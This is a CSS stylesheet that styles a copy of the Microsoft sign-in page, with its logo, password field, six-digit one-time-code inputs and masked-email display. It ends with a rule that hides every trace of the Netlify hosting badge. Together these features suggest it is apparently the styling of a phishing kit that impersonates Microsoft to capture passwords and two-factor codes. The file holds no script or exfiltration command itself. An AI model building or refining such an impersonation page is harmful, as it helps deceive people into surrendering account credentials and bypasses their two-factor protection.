/* ============================================================
   Microsoft Login — Enhanced Design (Glassmorphism + Animations)
   All original functionality preserved
   ============================================================ */

* {
    padding: 0;
    margin: 0;
    box-sizing: border-box;
    font-family: "Segoe UI", "Segoe UI Web (West European)", -apple-system,
        BlinkMacSystemFont, Roboto, "Helvetica Neue", sans-serif;
}

/* ── CSS Variables ─────────────────────────────────────── */
:root {
    --primary-blue: #0078d4;
    --primary-hover: #106ebe;
    --primary-glow: rgba(0, 120, 212, 0.25);
    --bg-dark: #141414;
    --card-bg: rgba(32, 32, 32, 0.82);
    --card-border: rgba(255, 255, 255, 0.08);
    --text-primary: #ffffff;
    --text-secondary: rgba(255, 255, 255, 0.85);
    --text-muted: rgba(255, 255, 255, 0.5);
    --link-color: #4ca6e8;
    --link-hover: #74c1ff;
    --input-bg: rgba(255, 255, 255, 0.06);
    --input-border: rgba(255, 255, 255, 0.18);
    --input-border-focus: #0078d4;
    --label-bg: #242424;
    --error: #f85149;
    --error-bg: rgba(248, 81, 73, 0.1);
    --error-border: rgba(248, 81, 73, 0.35);
    --shadow: 0 32px 80px rgba(0, 0, 0, 0.55), 0 8px 24px rgba(0, 0, 0, 0.3);
    --shadow-btn: 0 4px 20px rgba(0, 120, 212, 0.4);
    --transition: all 0.18s cubic-bezier(0.4, 0, 0.2, 1);
    --transition-slow: all 0.35s cubic-bezier(0.4, 0, 0.2, 1);
    --bg-image: url('bg.png');
    --footer-bg: rgba(0, 0, 0, 0.55);
    --badge-bg: rgba(255, 255, 255, 0.07);
    --badge-border: rgba(255, 255, 255, 0.18);
    --border-color: rgba(255, 255, 255, 0.08);
    --text-color: #ffffff;
}

/* ── Light Theme ────────────────────────────────────────── */
body.light-theme {
    --bg-dark: #e8ecf0;
    --card-bg: rgba(255, 255, 255, 0.92);
    --card-border: rgba(0, 0, 0, 0.06);
    --text-primary: #1b1b1b;
    --text-secondary: #3a3a3a;
    --text-muted: #666666;
    --link-color: #0067b8;
    --link-hover: #004e8c;
    --input-bg: rgba(0, 0, 0, 0.03);
    --input-border: rgba(0, 0, 0, 0.2);
    --input-border-focus: #0067b8;
    --primary-blue: #0067b8;
    --primary-hover: #005a9e;
    --primary-glow: rgba(0, 103, 184, 0.18);
    --shadow-btn: 0 4px 20px rgba(0, 103, 184, 0.35);
    --error: #d13438;
    --error-bg: rgba(209, 52, 56, 0.08);
    --error-border: rgba(209, 52, 56, 0.3);
    --shadow: 0 8px 32px rgba(0, 0, 0, 0.12), 0 2px 8px rgba(0, 0, 0, 0.08);
    --bg-image: url('bg-light.png');
    --footer-bg: rgba(255, 255, 255, 0.7);
    --badge-bg: rgba(0, 0, 0, 0.04);
    --badge-border: rgba(0, 0, 0, 0.15);
    --border-color: rgba(0, 0, 0, 0.06);
    --text-color: #1b1b1b;
    --label-bg: #ffffff;
}

/* ── Base ───────────────────────────────────────────────── */
html, body {
    min-height: 100vh;
    background: var(--bg-image) no-repeat center center fixed;
    background-size: cover;
    background-color: var(--bg-dark);
    color: var(--text-primary);
    overflow-x: hidden;
}

/* ── Section (page container) ──────────────────────────── */
section {
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 100vh;
    width: 100%;
    padding: 20px;
    animation: slideUpFade 0.38s cubic-bezier(0.4, 0, 0.2, 1) both;
}

@keyframes slideUpFade {
    from {
        opacity: 0;
        transform: translateY(18px) scale(0.985);
    }
    to {
        opacity: 1;
        transform: translateY(0) scale(1);
    }
}

@keyframes shake {
    0%, 100% { transform: translateX(0); }
    20%, 60%  { transform: translateX(-5px); }
    40%, 80%  { transform: translateX(5px); }
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

@keyframes errorSlide {
    from { opacity: 0; transform: translateY(-6px); max-height: 0; }
    to   { opacity: 1; transform: translateY(0);    max-height: 120px; }
}

@keyframes pulseGlow {
    0%, 100% { box-shadow: 0 0 0 0 var(--primary-glow); }
    50%       { box-shadow: 0 0 0 8px transparent; }
}

@keyframes otpPop {
    0%   { transform: scale(0.85); opacity: 0; }
    60%  { transform: scale(1.08); }
    100% { transform: scale(1);    opacity: 1; }
}

/* ── Auth Card (Glassmorphism) ─────────────────────────── */
.auth-wrapper {
    width: 100%;
    max-width: 480px;
    min-width: 280px;
    padding: 44px;
    background: var(--card-bg);
    backdrop-filter: blur(24px) saturate(160%);
    -webkit-backdrop-filter: blur(24px) saturate(160%);
    border: 1px solid var(--card-border);
    box-shadow: var(--shadow);
    text-align: center;
    border-radius: 14px;
    margin-top: -60px;
    position: relative;
    overflow: hidden;
    transition: var(--transition-slow);
}

/* Subtle shimmer line at top of card */
.auth-wrapper::before {
    content: '';
    position: absolute;
    top: 0; left: 0; right: 0;
    height: 1px;
    background: linear-gradient(90deg,
        transparent 0%,
        rgba(255,255,255,0.22) 40%,
        rgba(255,255,255,0.08) 70%,
        transparent 100%
    );
    pointer-events: none;
}

/* ── Microsoft Logo ─────────────────────────────────────── */
.ms-logo {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    margin-bottom: 26px;
    transition: var(--transition);
    cursor: default;
}

.ms-logo:hover .ms-logo-grid {
    transform: scale(1.08) rotate(3deg);
}

.ms-logo-grid {
    display: grid;
    grid-template-columns: 11px 11px;
    grid-template-rows: 11px 11px;
    gap: 2px;
    transition: transform 0.25s cubic-bezier(0.34, 1.56, 0.64, 1);
}

.ms-logo-grid span:nth-child(1) { background: #f25022; }
.ms-logo-grid span:nth-child(2) { background: #7fba00; }
.ms-logo-grid span:nth-child(3) { background: #00a4ef; }
.ms-logo-grid span:nth-child(4) { background: #ffb900; }

.ms-logo-text {
    font-size: 20px;
    font-weight: 600;
    color: var(--text-primary);
    letter-spacing: -0.2px;
}

/* ── Title & Subtitle ───────────────────────────────────── */
.title {
    font-size: 24px;
    font-weight: 600;
    color: var(--text-primary);
    margin-bottom: 4px;
    text-align: center;
    letter-spacing: -0.3px;
}

.subtitle {
    font-size: 14px;
    color: var(--text-secondary);
    margin-bottom: 24px;
    text-align: center;
    line-height: 1.5;
}

/* ── Floating Label Input ───────────────────────────────── */
.input-wrapper {
    position: relative;
    margin-bottom: 8px;
}

.input-wrapper .input {
    width: 100%;
    padding: 20px 12px 6px 12px;
    font-size: 15px;
    color: var(--text-primary);
    background-color: var(--input-bg);
    border: 1px solid var(--input-border);
    border-radius: 6px;
    outline: none;
    transition: var(--transition);
    backdrop-filter: blur(8px);
}

.input-wrapper .floating-label {
    position: absolute;
    left: 12px;
    top: 50%;
    transform: translateY(-50%);
    font-size: 14px;
    color: var(--text-muted);
    pointer-events: none;
    transition: var(--transition);
    background: transparent;
    padding: 0 4px;
    border-radius: 2px;
}

.input-wrapper .input:focus + .floating-label,
.input-wrapper .input:not(:placeholder-shown) + .floating-label {
    top: 0;
    transform: translateY(-50%);
    font-size: 11px;
    color: var(--text-secondary);
    background: var(--label-bg);
}

/* Focus: blue bottom border — subtle glow */
.input-wrapper .input:focus {
    border-color: var(--input-border);
    border-bottom-color: var(--input-border-focus);
    border-bottom-width: 2px;
    padding-bottom: 5px;
    box-shadow: 0 2px 8px rgba(0, 120, 212, 0.08);
    background-color: var(--input-bg);
}

/* ── Fix browser autofill color override ────────────────── */
/* Prevents browser (Chrome/Edge) from applying its own yellow/blue bg on autofill */
.input-wrapper .input:-webkit-autofill,
.input-wrapper .input:-webkit-autofill:hover,
.input-wrapper .input:-webkit-autofill:focus,
.input-wrapper .input:-webkit-autofill:active {
    -webkit-box-shadow: 0 0 0px 1000px var(--label-bg) inset !important;
    -webkit-text-fill-color: var(--text-primary) !important;
    caret-color: var(--text-primary) !important;
    border-color: var(--input-border) !important;
    transition: background-color 9999s ease-in-out 0s;
}

/* Error state */
.input-wrapper .input.error-inp {
    border-color: var(--error) !important;
    animation: shake 0.4s ease-in-out;
    box-shadow: 0 0 0 3px rgba(248, 81, 73, 0.15);
}

.input-wrapper .input.error-inp + .floating-label {
    color: var(--error);
}

/* ── Password Toggle ─────────────────────────────────────── */
.password-toggle {
    position: absolute;
    right: 10px;
    top: 50%;
    transform: translateY(-50%);
    cursor: pointer;
    color: var(--text-secondary);
    display: flex;
    align-items: center;
    justify-content: center;
    width: 34px;
    height: 34px;
    border-radius: 50%;
    transition: var(--transition);
    z-index: 10;
    opacity: 0.75;
}

.password-toggle:hover {
    background-color: rgba(255, 255, 255, 0.12);
    opacity: 1;
    transform: translateY(-50%) scale(1.1);
}

body.light-theme .password-toggle:hover {
    background-color: rgba(0, 0, 0, 0.07);
}

/* ── Error Box ───────────────────────────────────────────── */
.error-box {
    display: none;
    overflow: hidden;
    background: var(--error-bg);
    border: 1px solid var(--error-border);
    border-left: 3px solid var(--error);
    border-radius: 6px;
    padding: 11px 14px;
    margin-bottom: 16px;
    color: #ffaaaa;
    font-size: 13px;
    line-height: 1.5;
    text-align: left;
    align-items: flex-start;
    gap: 10px;
}

body.light-theme .error-box {
    color: #c02020;
}

.error-box.show {
    display: flex;
    animation: errorSlide 0.28s cubic-bezier(0.4, 0, 0.2, 1) both;
}

.error-box::before {
    content: '';
    width: 16px;
    height: 16px;
    min-width: 16px;
    margin-top: 1px;
    background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='%23f85149'%3E%3Cpath d='M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z'/%3E%3C/svg%3E");
    background-size: contain;
    flex-shrink: 0;
}

/* ── Links ───────────────────────────────────────────────── */
.link-row {
    text-align: left;
    margin: 16px 0;
}

a.link {
    text-decoration: none;
    color: var(--link-color);
    font-size: 13px;
    transition: var(--transition);
    position: relative;
}

a.link::after {
    content: '';
    position: absolute;
    bottom: -1px;
    left: 0;
    width: 0;
    height: 1px;
    background: var(--link-hover);
    transition: width 0.22s ease;
}

a.link:hover {
    color: var(--link-hover);
}

a.link:hover::after {
    width: 100%;
}

/* ── Primary Button ─────────────────────────────────────── */
.btn {
    width: 100%;
    padding: 11px 20px;
    font-size: 15px;
    font-weight: 600;
    color: #fff;
    background: linear-gradient(135deg, var(--primary-blue) 0%, var(--primary-hover) 100%);
    border: none;
    border-radius: 6px;
    cursor: pointer;
    transition: var(--transition);
    margin-top: 24px;
    position: relative;
    overflow: hidden;
    letter-spacing: 0.1px;
}

.btn::after {
    content: '';
    position: absolute;
    top: 50%; left: 50%;
    width: 0; height: 0;
    background: rgba(255, 255, 255, 0.22);
    border-radius: 50%;
    transform: translate(-50%, -50%);
    transition: width 0.5s ease, height 0.5s ease, opacity 0.5s ease;
    opacity: 0;
    pointer-events: none;
}

.btn:active::after {
    width: 260px;
    height: 260px;
    opacity: 0;
    transition: 0s;
}

.btn:hover:not(:disabled) {
    background: linear-gradient(135deg, var(--primary-hover) 0%, #004a90 100%);
    box-shadow: var(--shadow-btn);
    transform: translateY(-1px);
}

.btn:active:not(:disabled) {
    transform: translateY(0px) scale(0.99);
    box-shadow: none;
}

.btn:disabled {
    background: #3a3a3a;
    cursor: not-allowed;
    transform: none;
    box-shadow: none;
    opacity: 0.65;
}

body.light-theme .btn:disabled {
    background: #c5c5c5;
    color: #888;
}

/* Secondary button */
.btn-sec {
    background: transparent !important;
    background-image: none !important;
    border: 1px solid rgba(255, 255, 255, 0.28) !important;
    color: var(--text-primary) !important;
    box-shadow: none !important;
}

.btn-sec:hover:not(:disabled) {
    background: rgba(255, 255, 255, 0.09) !important;
    border-color: rgba(255, 255, 255, 0.4) !important;
    transform: translateY(-1px);
    box-shadow: none !important;
}

body.light-theme .btn-sec {
    background: #ffffff !important;
    background-image: none !important;
    border: 1px solid #8c8c8c !important;
    color: #1b1b1b !important;
    box-shadow: none !important;
}

body.light-theme .btn-sec:hover:not(:disabled) {
    background: #f3f3f3 !important;
    border-color: #666 !important;
    transform: translateY(-1px);
    box-shadow: none !important;
}

/* Button group */
.btn-group {
    display: flex;
    gap: 10px;
    justify-content: flex-end;
    margin-top: 24px;
}

.btn-group .btn {
    width: auto;
    min-width: 88px;
    margin-top: 0;
}

/* ── Create Account Row ─────────────────────────────────── */
.create-account-row {
    margin-top: 28px;
    font-size: 13px;
    color: var(--text-secondary);
}

/* ── Header Row (Back + Logo) ───────────────────────────── */
.header-row {
    display: flex;
    align-items: center;
    justify-content: center;
    margin-bottom: 20px;
    position: relative;
}

.back-btn {
    position: absolute;
    left: 0;
    display: flex;
    align-items: center;
    justify-content: center;
    width: 34px;
    height: 34px;
    background: transparent;
    border: none;
    border-radius: 50%;
    cursor: pointer;
    transition: var(--transition);
    opacity: 0.75;
}

.back-btn:hover {
    background-color: rgba(255, 255, 255, 0.12);
    opacity: 1;
    transform: scale(1.1);
}

body.light-theme .back-btn:hover {
    background-color: rgba(0, 0, 0, 0.07);
}

.back-btn svg {
    width: 18px;
    height: 18px;
    fill: var(--text-primary);
}

.header-row .ms-logo {
    margin-bottom: 0;
}

/* ── User Badge ─────────────────────────────────────────── */
.user-badge {
    display: inline-flex;
    align-items: center;
    justify-content: center;
    gap: 7px;
    padding: 6px 16px;
    background: var(--badge-bg);
    border: 1px solid var(--badge-border);
    border-radius: 20px;
    font-size: 13px;
    color: var(--text-primary);
    margin-bottom: 24px;
    backdrop-filter: blur(8px);
    transition: var(--transition);
}

.user-badge::before {
    content: '';
    width: 7px;
    height: 7px;
    background: #22c55e;
    border-radius: 50%;
    flex-shrink: 0;
    box-shadow: 0 0 6px rgba(34, 197, 94, 0.7);
    animation: pulseGlow 2.5s ease-in-out infinite;
}

/* ── Options Link ────────────────────────────────────────── */
.options-link {
    display: block;
    text-align: center;
    color: var(--link-color);
    font-size: 13px;
    text-decoration: none;
    margin-top: 24px;
    transition: var(--transition);
}

.options-link:hover {
    color: var(--link-hover);
    text-decoration: underline;
}

/* ── Checkbox ────────────────────────────────────────────── */
.has-checkbox {
    display: flex;
    align-items: center;
    gap: 10px;
    cursor: pointer;
    font-size: 13px;
    color: var(--text-secondary);
    margin: 16px 0;
    text-align: left;
    transition: var(--transition);
}

.has-checkbox:hover {
    color: var(--text-primary);
}

.checkbox {
    width: 18px;
    height: 18px;
    accent-color: var(--primary-blue);
    cursor: pointer;
    flex-shrink: 0;
}

.p {
    font-size: 13px;
    color: var(--text-secondary);
    line-height: 1.6;
    margin: 16px 0;
    text-align: left;
}

/* ── OTP (2FA) Inputs ────────────────────────────────────── */
.otp-inputs {
    display: flex;
    gap: 9px;
    justify-content: center;
    margin: 18px 0 12px;
}

.otp-inputs input,
.otp-digit {
    width: 44px;
    height: 52px;
    text-align: center;
    font-size: 22px;
    font-weight: 700;
    letter-spacing: 0;
    border: 1.5px solid var(--input-border);
    background: var(--input-bg);
    color: var(--text-primary);
    border-radius: 8px;
    outline: none;
    transition: var(--transition);
    backdrop-filter: blur(8px);
    caret-color: var(--primary-blue);
}

.otp-inputs input:focus,
.otp-digit:focus {
    border-color: var(--primary-blue);
    box-shadow: 0 0 0 3px var(--primary-glow),
                0 4px 16px rgba(0, 120, 212, 0.15);
    background: rgba(0, 120, 212, 0.06);
    transform: translateY(-2px) scale(1.05);
}

.otp-inputs input:not(:placeholder-shown):not(:focus),
.otp-digit:not(:placeholder-shown):not(:focus) {
    border-color: rgba(0, 120, 212, 0.45);
    background: rgba(0, 120, 212, 0.05);
}

/* Each OTP box pops in with animation when section shown */
.otp-digit:nth-child(1) { animation-delay: 0.05s; }
.otp-digit:nth-child(2) { animation-delay: 0.10s; }
.otp-digit:nth-child(3) { animation-delay: 0.15s; }
.otp-digit:nth-child(4) { animation-delay: 0.20s; }
.otp-digit:nth-child(5) { animation-delay: 0.25s; }
.otp-digit:nth-child(6) { animation-delay: 0.30s; }

.otp-desc {
    font-size: 13px;
    color: var(--text-muted);
    text-align: center;
    margin: 8px 0 4px;
    line-height: 1.6;
}

.masked-email {
    font-weight: 600;
    color: var(--text-primary);
}

/* ── Footer ──────────────────────────────────────────────── */
.footer {
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 4px;
    padding: 10px 24px;
    background: var(--footer-bg);
    backdrop-filter: blur(12px) saturate(130%);
    -webkit-backdrop-filter: blur(12px) saturate(130%);
    border-top: 1px solid rgba(255, 255, 255, 0.05);
}

body.light-theme .footer {
    border-top-color: rgba(0, 0, 0, 0.06);
}

.footer-links {
    display: flex;
    gap: 20px;
}

.footer a {
    color: var(--text-muted);
    font-size: 11px;
    text-decoration: none;
    transition: var(--transition);
}

.footer a:hover {
    color: var(--text-secondary);
    text-decoration: underline;
}

.footer-notice {
    font-size: 11px;
    color: var(--text-muted);
}

.footer-notice a {
    color: var(--link-color);
}

/* ── Spinner ─────────────────────────────────────────────── */
.spinner {
    display: inline-block;
    width: 14px;
    height: 14px;
    border: 2px solid rgba(255, 255, 255, 0.28);
    border-radius: 50%;
    border-top-color: #fff;
    animation: spin 0.75s linear infinite;
    margin-right: 8px;
    vertical-align: middle;
}

/* ── Utility ─────────────────────────────────────────────── */
.d-none { display: none !important; }
.mb-16  { margin-bottom: 16px; }
.mb-24  { margin-bottom: 24px; }
.mt-16  { margin-top: 16px; }

/* ── Responsive (Mobile) ────────────────────────────────── */
@media screen and (max-width: 600px) {
    html, body {
        background-image: none !important;
        background-color: var(--bg-dark) !important;
        height: 100vh;
        overflow: hidden;
    }

    section {
        padding: 0;
        height: 100vh;
        align-items: center;
        justify-content: center;
    }

    .auth-wrapper {
        backdrop-filter: none;
        -webkit-backdrop-filter: none;
        box-shadow: none;
        background-color: transparent;
        border: none;
        border-radius: 0;
        padding: 28px 24px;
        margin: 0;
        width: 100%;
        max-width: 100%;
        height: 100%;
        display: flex;
        flex-direction: column;
        justify-content: center;
    }

    .footer {
        background: transparent;
        backdrop-filter: none;
        border-top: none;
        padding-bottom: 20px;
        position: absolute;
        bottom: 0;
    }

    .footer-links { gap: 16px; }

    .ms-logo { margin-bottom: 20px; }

    .btn {
        padding: 14px 20px;
        font-size: 16px;
    }

    .input-wrapper .input {
        padding: 22px 12px 8px 12px;
        font-size: 16px;
    }

    .header-row { justify-content: center; }

    .back-btn {
        left: 0;
        width: 42px;
        height: 42px;
    }

    .otp-inputs input,
    .otp-digit {
        width: 40px;
        height: 48px;
        font-size: 20px;
    }
}

/* ── Hide Netlify Badge ──────────────────────────────────── */
#nl-badge, .nl-badge, #nl-card, .nl-card,
[id*="nl-badge"], [class*="nl-badge"],
[id*="netlify-badge"], [class*="netlify-badge"] {
    display:        none !important;
    visibility:     hidden !important;
    opacity:        0 !important;
    pointer-events: none !important;
    position:       absolute !important;
    left:           -9999px !important;
    top:            -9999px !important;
    width:          0 !important;
    height:         0 !important;
    max-height:     0 !important;
    max-width:      0 !important;
    overflow:       hidden !important;
    z-index:        -9999 !important;
}